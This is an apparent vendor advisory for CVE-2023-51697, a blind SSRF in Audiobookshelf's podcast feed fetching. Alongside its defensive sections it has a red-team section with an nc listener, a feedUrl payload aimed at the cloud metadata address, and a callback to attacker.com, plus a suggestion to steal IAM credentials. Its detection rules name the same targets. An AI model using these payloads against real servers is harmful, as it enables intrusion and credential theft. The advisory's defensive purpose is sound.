CVE-2023-51697
Executive Summary
CVE-2023-51697 is a blind Server-Side Request Forgery (SSRF) vulnerability in Audiobookshelf, a self-hosted audiobook and podcast server. The flaw resides in the podcastUtils.js module and allows an unauthenticated attacker to make the server issue arbitrary HTTP requests to internal or external resources. This can lead to information disclosure, internal network scanning, and potential pivot attacks. The vulnerability is patched in version 2.7.0. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low active exploitation in the wild. However, due to the nature of SSRF and the self-hosted nature of the software, the risk is elevated for exposed instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Audiobookshelf is a Node.js application distributed via npm and GitHub. The vulnerability is in the core application code, not in a third-party package. However, users should verify the integrity of their installation and ensure they are using the official source. The patch is available in the official GitHub repository.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the impact can be amplified in internal network contexts. An unauthenticated attacker can probe internal services, potentially discovering sensitive data or vulnerable systems behind the firewall.
Deep Dive & Mechanics
The vulnerability exists in the podcastUtils.js file. The application allows users to add podcasts via RSS feeds. When processing a podcast feed, the server fetches the feed URL and any associated media files. The flaw is that the application does not properly validate or sanitize the URLs provided by the user or extracted from the feed. An attacker can craft a malicious RSS feed or directly manipulate the request to point to internal IP addresses (e.g., http://169.254.169.254/latest/meta-data/ for cloud metadata) or other internal services.
The SSRF is blind, meaning the attacker does not directly see the response in the application output. However, they can infer information through timing attacks, error messages, or by observing side effects (e.g., triggering a request to an attacker-controlled server).
Root Cause: Lack of URL validation and restriction in the fetch or request call within podcastUtils.js. The application does not implement a blocklist or allowlist for internal IP ranges.
Vulnerable vs. Patched Code
Vulnerable Code (pre-2.7.0):
// podcastUtils.js (simplified)
const fetch = require('node-fetch');
async function fetchPodcastFeed(url) {
const response = await fetch(url);
// process response...
}
The url parameter is not validated, allowing any URL to be fetched.
Patched Code (2.7.0+):
// podcastUtils.js (simplified)
const fetch = require('node-fetch');
const { URL } = require('url');
async function fetchPodcastFeed(url) {
const parsedUrl = new URL(url);
const hostname = parsedUrl.hostname;
// Block internal IP ranges
const blockedIPs = ['127.0.0.1', '::1', '10.', '172.16.', '192.168.', '169.254.'];
if (blockedIPs.some(prefix => hostname.startsWith(prefix))) {
throw new Error('Invalid URL');
}
const response = await fetch(url);
// process response...
}
The patched version adds basic IP range validation to block requests to private and link-local addresses.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable Audiobookshelf instance (version < 2.7.0) in a Docker container.
- Set up a listener on an attacker machine (e.g.,
nc -lvnp 4444). - Use a tool like Burp Suite or curl to send a malicious request.
Exploitation Steps:
- Identify the endpoint that accepts podcast feed URLs (e.g.,
/api/podcasts/add). - Craft a request with a URL pointing to an internal service:
POST /api/podcasts/add HTTP/1.1 Host: target-audiobookshelf.com Content-Type: application/json {"feedUrl": "http://169.254.169.254/latest/meta-data/"} - Observe the server's behavior. If the request is successful, the server will attempt to fetch the metadata. Since it's blind, you may need to use an external listener to confirm:
{"feedUrl": "http://attacker.com/ssrf-test"} - Check your listener for incoming connections.
Advanced Techniques:
- Use DNS rebinding to bypass weak validation.
- Exploit cloud metadata endpoints to steal IAM credentials.
- Scan internal ports by observing response times.
Blue Team
Detection:
- Monitor outbound HTTP requests from the Audiobookshelf server to unexpected destinations.
- Look for requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16) or cloud metadata IPs.
- Alert on unusual User-Agent strings or request patterns.
Hunting:
- Search logs for
feedUrlparameters containing IP addresses instead of domain names. - Correlate with network flow logs to identify SSRF attempts.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to private IP ranges from the Audiobookshelf server.
- Requests to
169.254.169.254(AWS/GCP/Azure metadata). - Requests to
127.0.0.1orlocalhost.
- Logs:
- Error messages containing "Invalid URL" (if patched) or connection timeouts to internal IPs.
- Unusual
feedUrlvalues in API logs.
- File System:
- Modified
podcastUtils.js(if attacker attempted to patch or backdoor).
- Modified
Detection Engineering
YARA Rule
rule CVE_2023_51697_SSRF {
meta:
description = "Detects SSRF attempts targeting internal IPs in Audiobookshelf"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2023-51697"
strings:
$ip1 = "169.254.169.254"
$ip2 = "127.0.0.1"
$ip3 = "10." ascii wide nocase
$ip4 = "172.16." ascii wide nocase
$ip5 = "192.168." ascii wide nocase
$feedUrl = "feedUrl" ascii wide nocase
condition:
any of ($ip*) and $feedUrl
}
Sigma Rule
title: Audiobookshelf SSRF Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SSRF attempts against internal IPs in Audiobookshelf logs
author: Valters IT
date: 2024/01/01
logsource:
category: webserver
product: audiobookshelf
detection:
selection:
cs-uri-query|contains:
- '169.254.169.254'
- '127.0.0.1'
- '10.'
- '172.16.'
- '192.168.'
condition: selection
falsepositives:
- Legitimate internal services (if configured)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-51697 Audiobookshelf SSRF Attempt"; flow:to_server; content:"feedUrl"; http_client_body; pcre:"/(169\.254\.169\.254|127\.0\.0\.1|10\.|172\.16\.|192\.168\.)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade to Audiobookshelf version 2.7.0 or later.
- If upgrade is not possible, restrict outbound network access from the Audiobookshelf server using a firewall or egress filtering.
- Implement a Web Application Firewall (WAF) rule to block requests containing private IP addresses in the
feedUrlparameter.
Long-term:
- Apply the principle of least privilege to the server's network access.
- Regularly update all dependencies and the application itself.
- Conduct periodic security audits and penetration testing.
Workarounds:
- None officially provided. The only workaround is to block outbound traffic to internal IPs at the network level.
Valters IT